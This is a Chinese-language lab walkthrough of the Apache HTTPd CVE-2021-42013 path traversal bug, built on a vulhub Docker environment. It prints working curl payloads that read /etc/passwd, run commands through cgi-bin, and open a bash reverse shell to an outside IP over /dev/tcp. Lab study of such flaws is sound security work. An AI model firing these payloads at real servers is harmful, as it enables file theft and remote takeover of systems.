新人笔者日常求关注,新人上路,大佬多多指点。谢谢。
文章目录
-
漏洞概述
-
环境搭建
-
漏洞利用
-
修复建议
漏洞概述
漏洞概述
Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。CVE-2021-41773漏洞在v2.4.50版本中进行了修复。但修复版本中只处理了`/xx/.%2e/`这样的路径,而没有正确处理`/.%%32%65/`这种字符串,导致`/.%%32%65/`被带入后续的处理,仍然可造成目录穿越。攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。
同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。
CVE ID | CVE-2021-42013 | 时 间 | 2021-10-07 |
类 型 | RCE | 等 级 | 严重 |
远程利用 | 是 | 影响范围 | 2.4.49、2.4.50 |
环境搭建
- 进入目标目录:cd /root/桌面/vulhub-master/httpd/CVE-2021-42013
- 打开dockers容器:
- docker-compose build
- docker-compose up -d
- 查看主机IP地址:ifconfig
- 查看容器开启的端口:docker ps
- 地址加端口查看服务:http://192.168.162.129:8080
示例:
ip+端口进入靶场网页,网页里面有一个“It works!”。
如图:
漏洞利用
使用CVE-2021-41773中的Payload发现已经无法使用,说明2.4.50进行了修复。
但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):
故,使用如下CURL命令来发送Payload:
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
可见,成功读取到/etc/passwd:
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
或者是
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
修复建议:
升级到Apache HTTP Server安全版本。